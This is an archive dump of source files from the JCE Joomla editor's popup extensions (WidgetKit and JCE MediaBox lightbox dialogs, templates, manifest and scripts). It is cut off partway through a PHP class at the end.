 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('_WF_EXT') or die('RESTRICTED');
?>
<table border="0" cellpadding="3" cellspacing="0">
    <tr>
        <td><label for="widgetkit_lightbox_title" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_BOXTITLE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_BOXTITLE'); ?></label></td>
        <td colspan="3"><input id="widgetkit_lightbox_title" type="text" class="text" value="" /></td>
    </tr>
    <tr>
        <td><label for="widgetkit_lightbox_group" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_GROUP_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_GROUP'); ?></label></td>
        <td colspan="3"><input id="widgetkit_lightbox_group" type="text" class="text" value="" /></td>
    </tr>
    <tr>
        <td><label for="widgetkit_lightbox_type" class="hastip" title="<?php echo WFText::_('WF_POPUPS_WIDGETKIT_TYPE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_TYPE'); ?></label></td>
        <td>
            <select id="widgetkit_lightbox_type">
                <option value=""><?php echo WFText::_('WF_POPUPS_WIDGETKIT_DETECT'); ?></option>
                <option value="image"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_IMAGE'); ?></option>
                <option value="video"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_VIDEO'); ?></option>
                <option value="youtube"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_YOUTUBE'); ?></option>
                <option value="vimeo"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_VIMEO'); ?></option>
                <!--option value="iframe"><?php echo WFText::_('WF_POPUPS_WIDGETKIT_IFRAME'); ?></option-->
            </select>
        </td>
    </tr>
</table>editor/extensions/popups/widgetkit2/index.html000060400000000054150750527150015633 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/widgetkit2/js/index.html000060400000000054150750527150016247 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/widgetkit2/js/widgetkit.js000060400000005323150750527150016607 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){WFPopups.addPopup('widgetkit2',{params:{lightbox_keyboard:'',lightbox_duration:'',lightbox_group:''},setup:function(){$.each(this.params,function(k,v){$('#widgetkit_'+k).val(v);});},check:function(n){return n.getAttribute('data-lightbox')||n.getAttribute('data-uk-lightbox');},remove:function(n){tinyMCEPopup.editor.dom.setAttribs(n,{'data-lightbox':null,'data-uk-lightbox':null,'data-lightbox-type':null});},str2json:function(str,notevil){try{if(notevil){return JSON.parse(str.replace(/([\$\w]+)\s*:/g,function(_,$1){return'"'+$1+'":';}).replace(/'([^']+)'/g,function(_,$1){return'"'+$1+'"';}));}else{return(new Function("","var json = "+str+"; return JSON.parse(JSON.stringify(json));"))();}}catch(e){return false;}},convertData:function(s){if(s.indexOf('{')===0){var start=(s?s.indexOf("{"):-1),options={};if(start!=-1){try{options=this.str2json(string.substr(start));}catch(e){}}
return options;}else{var a=[];$.each(s.split(';'),function(i,n){if(n){n=n.replace(/([\w]+):(.*)/,'"$1":"$2"');a.push(n);}});return $.parseJSON('{'+a.join(',')+'}');}},getAttributes:function(n){var ed=tinyMCEPopup.editor,args={};var data=ed.dom.getAttrib(n,'data-lightbox')||ed.dom.getAttrib(n,'data-uk-lightbox');if(data&&data!=="on"){data=this.convertData(data);$.each(data,function(k,v){$('#widgetkit_lightbox_'+k).val(v);});}
$('#widgetkit_lightbox_title').val(ed.dom.getAttrib(n,'title'));var map=WFPopups.config.map||{'href':'src'};$.each(map,function(from,to){var href=ed.dom.getAttrib(n,from);href=href.replace(/(\?|&)tmpl=component/i,'');$('#'+to).val(href);args.src=href;});return args;},setAttributes:function(n,args){var self=this,ed=tinyMCEPopup.editor,data=[];this.remove(n);tinymce.each(['group','keyboard','duration'],function(k){var v=$('#widgetkit_lightbox_'+k).val();if(v==''||v==null){if(args[k]){v=args[k];}else{return;}}
data.push(k+':'+v);});if(args.data){$.each(args.data,function(k,v){data.push(k+':'+v);});}
var src=ed.dom.getAttrib(n,'href');if(/index\.php/.test(src)&&/:\/\//.test(src)===false){if(/\?/.test(src)){src+='&tmpl=component';}else{src+='?tmpl=component';}
ed.dom.setAttrib(n,'href',src);}
var value="on";if(data.length){value=$.map(data,function(s){var v=s.split(':');return"{"+v[0]+":'"+v[1]+"'}";}).join(',');}
var type=$('#widgetkit_lightbox_type').val();if(type){ed.dom.setAttrib(n,'data-lightbox-type',type);}
ed.dom.setAttrib(n,'data-uk-lightbox',value);ed.dom.setAttrib(n,'title',$('#widgetkit_lightbox_title').val());ed.dom.setAttrib(n,'target','_blank');},onSelect:function(){},onSelectFile:function(args){}});})();editor/extensions/popups/jcemediabox.xml000060400000010526150750527150014562 0ustar00<?xml version="1.0" ?>
<install version="1.5" type="extension" extension="jcemediabox" folder="popups" core="1">
	<name>WF_POPUPS_JCEMEDIABOX_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_POPUPS_JCEMEDIABOX_DESC</description>
	<files>
		<file>jcemediabox.php</file>
		<folder>jcemediabox</folder>
	</files>
	<params group="jcemediabox">
            <param name="attribute" type="list" default="data-mediabox" label="WF_MEDIABOX_ATTRIBUTE" description="WF_MEDIABOX_ATTRIBUTE_DESC">
                <option value="data-mediabox">data-mediabox</option>
                <option value="rel">rel</option>
            </param>
            
            <param name="popup_group" type="text" default="" label="WF_POPUPS_JCEMEDIABOX_GROUP" description="WF_POPUPS_JCEMEDIABOX_GROUP_DESC" />
            
            <param name="popup_icon" type="list" default="1" label="WF_POPUPS_JCEMEDIABOX_ICON" description="WF_POPUPS_JCEMEDIABOX_ICON_DESC">
                <option value="1">WF_OPTION_YES</option>
                <option value="0">WF_OPTION_NO</option>
            </param>
            
            <param name="popup_icon_position" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_ICON_POSITION" description="WF_POPUPS_JCEMEDIABOX_ICON_POSITION_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="icon-left">WF_OPTION_LEFT</option>
                <option value="icon-right">WF_OPTION_RIGHT</option>
                <option value="icon-top-left">WF_OPTION_TOP_LEFT</option>
                <option value="icon-top-right">WF_OPTION_TOP_RIGHT</option>                                        
                <option value="icon-bottom-left">WF_OPTION_BOTTOM_LEFT</option>
                <option value="icon-bottom-right">WF_OPTION_BOTTOM_RIGHT</option>
            </param>
            
            <param name="popup_autopopup" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_AUTO" description="WF_POPUPS_JCEMEDIABOX_AUTO_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="autopopup-single">WF_POPUPS_JCEMEDIABOX_AUTO_SINGLE</option>
                <option value="autopopup-multiple">WF_POPUPS_JCEMEDIABOX_AUTO_MULTIPLE</option>
            </param>
            
            <param name="popup_hide" type="list" default="0" label="WF_POPUPS_JCEMEDIABOX_HIDE" description="WF_POPUPS_JCEMEDIABOX_HIDE_DESC">
                <option value="1">WF_OPTION_YES</option>
                <option value="0">WF_OPTION_NO</option>
            </param>
            
            <param name="popup_mediatype" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_MEDIATYPE" description="WF_POPUPS_JCEMEDIABOX_MEDIATYPE_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="text/html">WF_POPUPS_JCEMEDIABOX_INTERNAL</option>
                <option value="iframe">WF_POPUPS_JCEMEDIABOX_EXTERNAL</option>
                <option value="image">WF_POPUPS_JCEMEDIABOX_IMAGE</option>
                <option value="application/x-shockwave-flash">WF_POPUPS_JCEMEDIABOX_FLASH</option>
                <option value="video/quicktime">WF_POPUPS_JCEMEDIABOX_QUICKTIME</option>
                <option value="application/x-mplayer2">WF_POPUPS_JCEMEDIABOX_WINDOWSMEDIA</option>
                <option value="video/divx">WF_POPUPS_JCEMEDIABOX_DIVX</option> 
                <option value="application/x-director">WF_POPUPS_JCEMEDIABOX_DIRECTOR</option>
                <option value="audio/x-pn-realaudio-plugin">WF_POPUPS_JCEMEDIABOX_REAL</option>
                <option value="video/mp4">WF_POPUPS_JCEMEDIABOX_VIDEO_MP4</option>   
                <option value="audio/mp3">WF_POPUPS_JCEMEDIABOX_AUDIO_MP3</option>
                <option value="video/webm">WF_POPUPS_JCEMEDIABOX_VIDEO_WEBM</option>
                <option value="audio/webm">WF_POPUPS_JCEMEDIABOX_AUDIO_WEBM</option> 
            </param>
            
	</params>
	<media></media>
	<plugins>link,imgmanager_ext,mediamanager,filemanager</plugins>
	<languages></languages>
</install>
 editor/extensions/popups/jcemediabox.php000060400000005274150750527150014555 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class WFPopupsExtension_Jcemediabox
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        if (self::isEnabled()) {
            $scripts = array();

            $document = WFDocument::getInstance();

            $document->addScript('jcemediabox', 'extensions/popups/jcemediabox/js');
            $document->addStyleSheet('jcemediabox', 'extensions/popups/jcemediabox/css');

            jimport('joomla.filesystem.folder');
            jimport('joomla.filesystem.file');

            $path = JPATH_PLUGINS.'/system/jcemediabox/addons';

            $files = JFolder::files($path, '.js');

            if (!empty($files)) {
                foreach ($files as $file) {
                    if (strpos($file, '-src.js') === false) {
                        $scripts[] = 'plugins/system/jcemediabox/addons/'.JFile::stripExt($file);
                    }
                }
            }

            $document->addScript($scripts, 'joomla');
        }
    }

    public function getParams()
    {
        $wf = WFEditorPlugin::getInstance();

        return array(
            'width' => 600,
            'album' => '#jcemediabox_popup_group',
            'multiple' => '#jcemediabox_popup_title,#jcemediabox_popup_caption',
            'attribute' => $wf->getParam('popups.jcemediabox.attribute', 'data-mediabox'),
            'popup_group' => $wf->getParam('popups.jcemediabox.popup_group', ''),
            'popup_icon' => $wf->getParam('popups.jcemediabox.popup_icon', 1),
            'popup_icon_position' => $wf->getParam('popups.jcemediabox.popup_icon_position', ''),
            'popup_autopopup' => $wf->getParam('popups.jcemediabox.popup_autopopup', ''),
            'popup_hide' => $wf->getParam('popups.jcemediabox.popup_hide', 0),
            'popup_mediatype' => $wf->getParam('popups.jcemediabox.popup_mediatype', ''),
        );
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();

        if (JPluginHelper::isEnabled('system', 'jcemediabox') && $wf->getParam('popups.jcemediabox.enable', 1) == 1) {
            return true;
        }

        return false;
    }

    public function checkVersion()
    {
        return true;
    }
}
editor/extensions/popups/jcemediabox/js/jcemediabox.js000060400000016710150750527150017265 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
JCEMediaBox={Popup:{addons:{},setAddons:function(n,o){"undefined"==typeof this.addons[n]&&(this.addons[n]={}),$.extend(this.addons[n],o)},getAddons:function(n){return n?this.addons[n]:this.addons},getAddon:function(v,n){var r,cp=!1,addons=this.getAddons(n);return $.each(addons,function(addon,o){var fn=o[addon]||function(){};r=fn.call(this,v),"undefined"!=typeof r&&(cp=r)}),cp}},trim:function(s){return $.trim(s)}},WFPopups.addPopup("jcemediabox",{params:{attribute:"data-mediabox",popup_group:"",popup_icon:1,popup_icon_position:"",popup_autopopup:"",popup_hide:0,popup_mediatype:""},setup:function(){var self=this;$("#jcemediabox_popup_icon").change(function(){self.setIcon()}),$.each(this.params,function(k,v){"popup_icon_position"===k&&(v=v.replace("icon-","zoom-")),$("#jcemediabox_"+k).val(v)})},check:function(n){return/jce(popup|_popup|lightbox)/.test(n.className)||n.getAttribute("data-mediabox")},getMediaType:function(n){var mt;switch(n.type){case"image/gif":case"image/jpeg":case"image/png":case"image/*":case"image":mt="image";break;case"iframe":mt="iframe";break;case"director":case"application/x-director":mt="application/x-director";break;case"windowsmedia":case"mplayer":case"application/x-mplayer2":mt="application/x-mplayer2";break;case"quicktime":case"video/quicktime":mt="video/quicktime";break;case"real":case"realaudio":case"audio/x-pn-realaudio-plugin":mt="audio/x-pn-realaudio-plugin";break;case"divx":case"video/divx":mt="video/divx";break;case"flash":case"application/x-shockwave-flash":mt="application/x-shockwave-flash";break;case"ajax":case"text/xml":case"text/html":mt="text/html"}if(!mt&&n.href){JCEMediaBox.options={popup:{google_viewer:0,pdfjs:0}};var o=JCEMediaBox.Popup.getAddon(n.href);o&&o.type&&(mt=o.type)}return mt||n.type||""},getImageType:function(s){var e=/\.(jp(eg|g)|png|bmp|gif|tiff)$/.exec(s);return e?("jpg"===e[1]&&(e[1]="jpeg"),"image/"+e[1]):"image/jpeg"},remove:function(n){var ed=tinyMCEPopup.editor;$.each(["jcepopup","jcelightbox","jcebox","icon-left","icon-right","icon-top-left","icon-top-right","icon-bottom-left","icon-bottom-right","zoom-left","zoom-right","zoom-top-left","zoom-top-right","zoom-bottom-left","zoom-bottom-right","noicon","noshow","autopopup-single","autopopup-multiple"],function(i,v){ed.dom.removeClass(n,v)}),ed.dom.setAttrib(n,"data-mediabox",null),ed.dom.setAttrib(n,"data-mediabox-title",null),ed.dom.setAttrib(n,"data-mediabox-caption",null),ed.dom.setAttrib(n,"data-mediabox-group",null)},convertData:function(s){function trim(s){return s.replace(/:"([^"]+)"/,function(a,b){return':"'+b.replace(/^\s+|\s+$/,"").replace(/\s*::\s*/,"::")+'"'})}if(/^{[\w\W]+}$/.test(s))return $.parseJSON(trim(s));if(/\w+\[[^\]]+\]/.test(s)){var data={};return tinymce.each(tinymce.explode(s,";"),function(p){var args=p.match(/([\w-]+)\[(.*)\]$/);args&&3===args.length&&(data[args[1]]=args[2])}),data}return{}},getAttributes:function(n,index){var rv,v,ed=tinyMCEPopup.editor,data={};index=index||0,index=index||0;var rel=(ed.dom.getAttrib(n,"title"),ed.dom.getAttrib(n,"rel")),icon=/noicon/g.test(n.className),hide=/noshow/g.test(n.className);if(/(autopopup(.?|-single|-multiple))/.test(n.className)&&(v=/autopopup-multiple/.test(n.className)?"autopopup-multiple":"autopopup-single",$("#jcemediabox_popup_autopopup").val(v)),$("#jcemediabox_popup_icon").val(icon?0:1),$("#jcemediabox_popup_icon_position").prop("disabled",icon),$("#jcemediabox_popup_hide").val(hide?1:0),s=/(zoom|icon)-(top-right|top-left|bottom-right|bottom-left|left|right)/.exec(n.className)){var v=s[0];v&&(v=v.replace("icon-","zoom-"),$("#jcemediabox_popup_icon_position").val(v))}var relRX=/(^|\\s+)alternate|stylesheet|start|next|prev|contents|index|glossary|copyright|chapter|section|subsection|appendix|help|bookmark|nofollow|noopener|noreferrer|licence|tag|friend(\\s+|$)/gi,json=ed.dom.getAttrib(n,"data-json")||ed.dom.getAttrib(n,"data-mediabox");if(json&&(data=this.convertData(json)),rel&&/\w+\[.*\]/.test(rel)){var ra="";(rv=relRX.exec(rel))&&(ra=rv[1],rel=rel.replace(relRX,"")),/^\w+\[/.test(rel)&&(data=this.convertData($.trim(rel))||{},data.rel=ra)}else{var group=$.trim(rel.replace(relRX,""));$("#jcemediabox_popup_group").val(group)}if($.isEmptyObject(data)&&$.each(ed.dom.getAttribs(n),function(i,at){var name=at.name||at.nodeName;if(name&&name.indexOf("data-mediabox-")!==-1){var k=name.replace("data-mediabox-","");data[k]=ed.dom.getAttrib(n,name)}}),data.title&&/::/.test(data.title)){var parts=data.title.split("::");parts.length>1&&(data.caption=parts[1]),data.title=parts[0]}$.each(data,function(k,v){if($("#jcemediabox_popup_"+k).get(0)&&""!==v){if("title"==k||"caption"==k||"group"==k)try{v=decodeURIComponent(v)}catch(e){}v=tinymce.DOM.decode(v),$("#jcemediabox_popup_"+k).val(v),"title"!=k&&"caption"!=k||$('input[name^="jcemediabox_popup_'+k+'"]').eq(index).val(v),delete data[k]}});var x=0;return $.each(data,function(k,v){if(""!==v){try{v=decodeURIComponent(v)}catch(e){}var n=$(".uk-repeatable","#jcemediabox_popup_params").eq(0);x>0&&$(n).clone(!0).appendTo($(n).parent());var elements=$(".uk-repeatable","#jcemediabox_popup_params").eq(x).find("input, select");$(elements).eq(0).val(k),$(elements).eq(1).val(v)}x++}),$("#jcemediabox_popup_mediatype").val(this.getMediaType(n)),$.extend(data,{src:ed.dom.getAttrib(n,"href"),type:ed.dom.getAttrib(n,"type")||""}),data},setAttributes:function(n,args,index){var ed=tinyMCEPopup.editor;index=index||0,this.remove(n),index=index||0,ed.dom.addClass(n,"jcepopup"),ed.dom.setAttrib(n,"data-mediabox",1);var auto=$("#jcemediabox_popup_autopopup").val();auto&&ed.dom.addClass(n,auto);var data={};args.title&&(ed.dom.setAttrib(n,"title",args.title),delete args.title),$.each(["group","width","height","title","caption"],function(i,k){var v=$("#jcemediabox_popup_"+k).val()||args[k]||"";if("title"==k||"caption"==k){var mv=$('input[name^="jcemediabox_popup_'+k+'"]').eq(index).val();"undefined"!=typeof mv&&(v=mv)}data[k]=v}),$(".uk-repeatable","#jcemediabox_popup_params").each(function(){var k=$('input[name^="jcemediabox_popup_params_name"]',this).val(),v=$('input[name^="jcemediabox_popup_params_value"]',this).val();""!==k&&""!==v&&(data[k]=v)}),data=$.extend(data,args.data||{});var mt=$("#jcemediabox_popup_mediatype").val()||n.type||data.type||"";"image"==mt&&(mt=this.getImageType(n.href)),ed.dom.setAttrib(n,"type",mt),data.type&&delete data.type;var rel=ed.dom.getAttrib(n,"rel","");rel&&(rel=rel.replace(/([a-z0-9]+)(\[([^\]]+)\]);?/gi,"")),$(".uk-repeatable","#jcemediabox_popup_params").each(function(){var elements=$("input, select",this),key=$(elements).eq(0).val(),value=$(elements).eq(1).val();data[key]=value});var i,attrs=n.attributes;for(i=attrs.length-1;i>=0;i--){var attrName=attrs[i].name;attrName&&attrName.indexOf("data-mediabox-")!==-1&&n.removeAttribute(attrName)}$.each(data,function(k,v){ed.dom.setAttrib(n,"data-mediabox-"+k,v)}),ed.dom.setAttrib(n,"rel",$.trim(rel)),0==$("#jcemediabox_popup_icon").val()?ed.dom.addClass(n,"noicon"):ed.dom.addClass(n,$("#jcemediabox_popup_icon_position").val()),1==$("#jcemediabox_popup_hide").val()&&ed.dom.addClass(n,"noshow")},setIcon:function(){var v=$("#jcemediabox_popup_icon").val();parseInt(v)?$("#jcemediabox_popup_icon_position").removeAttr("disabled"):$("#jcemediabox_popup_icon_position").attr("disabled","disabled")},onSelect:function(){},onSelectFile:function(args){$.each(args,function(k,v){$("#jcemediabox_popup_"+k).val(v)})}});editor/extensions/popups/jcemediabox/js/index.html000060400000000054150750527150016444 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/jcemediabox/tmpl/default.php000060400000023100150750527150017141 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

?>
    <div class="uk-form-row">
        <label for="jcemediabox_popup_title" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_OPTION_TITLE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_OPTION_TITLE'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_title" class="uk-input-multiple" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row">
        <label for="jcemediabox_popup_caption" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_CAPTION_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_CAPTION'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_caption" class="uk-input-multiple" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row">
        <label for="jcemediabox_popup_group" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_GROUP_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_GROUP'); ?></label>
        <div class="uk-form-controls uk-width-4-5">
          <input id="jcemediabox_popup_group" type="text" class="text" value="" />
        </div>
    </div>

    <div class="uk-form-row">
        <label for="jcemediabox_popup_icon" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_ICON_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_ICON'); ?></label>
        <div class="uk-form-controls uk-width-4-5 uk-grid uk-grid-small">
            <div class="uk-width-1-5">
              <select id="jcemediabox_popup_icon">
                  <option value="0"><?php echo WFText::_('WF_OPTION_NO'); ?></option>
                  <option value="1" selected="selected"><?php echo WFText::_('WF_OPTION_YES'); ?></option>
              </select>
            </div>
            <div class="uk-width-4-5">
              <label for="jcemediabox_popup_icon_position" class="uk-form-label uk-width-2-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_ICON_POSITION_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_ICON_POSITION'); ?></label>
              <div class="uk-form-controls uk-width-2-5">
                <select id="jcemediabox_popup_icon_position">
                    <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                    <option value="zoom-left"><?php echo WFText::_('WF_OPTION_LEFT'); ?></option>
                    <option value="zoom-right"><?php echo WFText::_('WF_OPTION_RIGHT'); ?></option>
                    <option value="zoom-top-left"><?php echo WFText::_('WF_OPTION_TOP_LEFT'); ?></option>
                    <option value="zoom-top-right"><?php echo WFText::_('WF_OPTION_TOP_RIGHT'); ?></option>
                    <option value="zoom-bottom-left"><?php echo WFText::_('WF_OPTION_BOTTOM_LEFT'); ?></option>
                    <option value="zoom-bottom-right"><?php echo WFText::_('WF_OPTION_BOTTOM_RIGHT'); ?></option>
                </select>
              </div>
            </div>
        </div>
    </div>

    <div class="uk-form-row">
        <label class="hastip uk-form-label uk-width-1-5" title="<?php echo WFText::_('WF_LABEL_DIMENSIONS_DESC'); ?>">
                <?php echo WFText::_('WF_LABEL_DIMENSIONS'); ?>
            </label>
            <div class="uk-form-controls uk-width-4-5 uk-form-constrain">

                <div class="uk-form-controls">
                    <input type="text" id="jcemediabox_popup_width" value="" class="uk-text-muted" />
                </div>

                <div class="uk-form-controls">
                    <strong class="uk-margin-left uk-margin-right uk-vertical-align-middle">&times;</strong>
                </div>

                <div class="uk-form-controls">
                    <input type="text" id="jcemediabox_popup_height" value="" class="uk-text-muted" />
                </div>

                <label class="uk-form-label uk-margin-left">
                    <input class="uk-constrain-checkbox" type="checkbox" checked />
                    <?php echo WFText::_('WF_LABEL_PROPORTIONAL'); ?>
                </label>
            </div>
    </div>
    <div class="uk-form-row">
        <label for="jcemediabox_popup_autopopup" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUTO_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUTO'); ?></label>
        <div class="uk-form-controls uk-width-1-5">
            <select id="jcemediabox_popup_autopopup">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="autopopup-single"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUTO_SINGLE'); ?></option>
                <option value="autopopup-multiple"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUTO_MULTIPLE'); ?></option>
            </select>
        </div>
    </div>

    <div class="uk-form-row">
        <label for="jcemediabox_popup_hide" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_HIDE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_HIDE'); ?></label>
        <div class="uk-form-controls uk-width-1-10">
          <select id="jcemediabox_popup_hide">
                <option value="0"><?php echo WFText::_('WF_OPTION_NO'); ?></option>
                <option value="1"><?php echo WFText::_('WF_OPTION_YES'); ?></option>
          </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label for="jcemediabox_popup_mediatype" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_MEDIATYPE_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_MEDIATYPE'); ?></label>
        <div class="uk-form-controls uk-width-2-5">
          <select id="jcemediabox_popup_mediatype">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="text/html"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_INTERNAL'); ?></option>
                <option value="iframe"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_EXTERNAL'); ?></option>
                <option value="image"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_IMAGE'); ?></option>
                <option value="video/youtube"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_YOUTUBE'); ?></option>
                <option value="video/vimeo"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_VIMEO'); ?></option>
                <option value="application/x-shockwave-flash"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_FLASH'); ?></option>
                <option value="video/quicktime"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_QUICKTIME'); ?></option>
                <option value="application/x-mplayer2"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_WINDOWSMEDIA'); ?></option>
                <option value="video/divx"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_DIVX'); ?></option>
                <option value="application/x-director"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_DIRECTOR'); ?></option>
                <option value="audio/x-pn-realaudio-plugin"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_REAL'); ?></option>
                <option value="video/mp4"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_VIDEO_MP4'); ?></option>
                <option value="audio/mp3"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUDIO_MP3'); ?></option>
                <option value="video/webm"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_VIDEO_WEBM'); ?></option>
                <option value="audio/webm"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_AUDIO_WEBM'); ?></option>
            </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label for="jcemediabox_popup_params" class="uk-form-label uk-width-1-5 hastip" title="<?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_PARAMS_DESC'); ?>"><?php echo WFText::_('WF_POPUPS_JCEMEDIABOX_PARAMS'); ?></label>
        <div class="uk-width-4-5" id="jcemediabox_popup_params">
          <div class="uk-form-row uk-repeatable">
                  <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                      <label class="uk-form-label uk-width-1-10"><?php echo WFText::_('WF_LABEL_NAME'); ?></label>
                      <div class="uk-form-controls uk-width-4-10">
                        <input type="text" name="jcemediabox_popup_params_name[]" />
                      </div>
                      <label class="uk-form-label uk-width-1-10"><?php echo WFText::_('WF_LABEL_VALUE'); ?></label>
                      <div class="uk-form-controls uk-width-4-10">
                        <input type="text" name="jcemediabox_popup_params_value[]" />
                      </div>
                  </div>
                  <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
                    <button type="button" class="uk-button uk-button-link uk-repeatable-create"><i class="uk-icon-plus"></i></button>
                    <button type="button" class="uk-button uk-button-link uk-repeatable-delete"><i class="uk-icon-trash"></i></button>
                  </div>
          </div>
        </div>
    </div>
editor/extensions/popups/jcemediabox/tmpl/index.html000060400000000054150750527150017004 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/jcemediabox/index.html000060400000000054150750527150016030 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/jcemediabox/css/index.html000060400000000054150750527150016620 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/extensions/popups/jcemediabox/css/jcemediabox.css000060400000000076150750527150017613 0ustar00#jcemediabox_popup_height,#jcemediabox_popup_width{width:65px}editor/extensions/popups/window.php000060400000002403150750527150013601 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_WF_EXT') or die('RESTRICTED');

class WFPopupsExtension_Window
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        // only if enabled
        if (self::isEnabled()) {
            $document = WFDocument::getInstance();

            $document->addScript('window', 'extensions/popups/window/js');
            $document->addStyleSheet('window', 'extensions/popups/window/css');
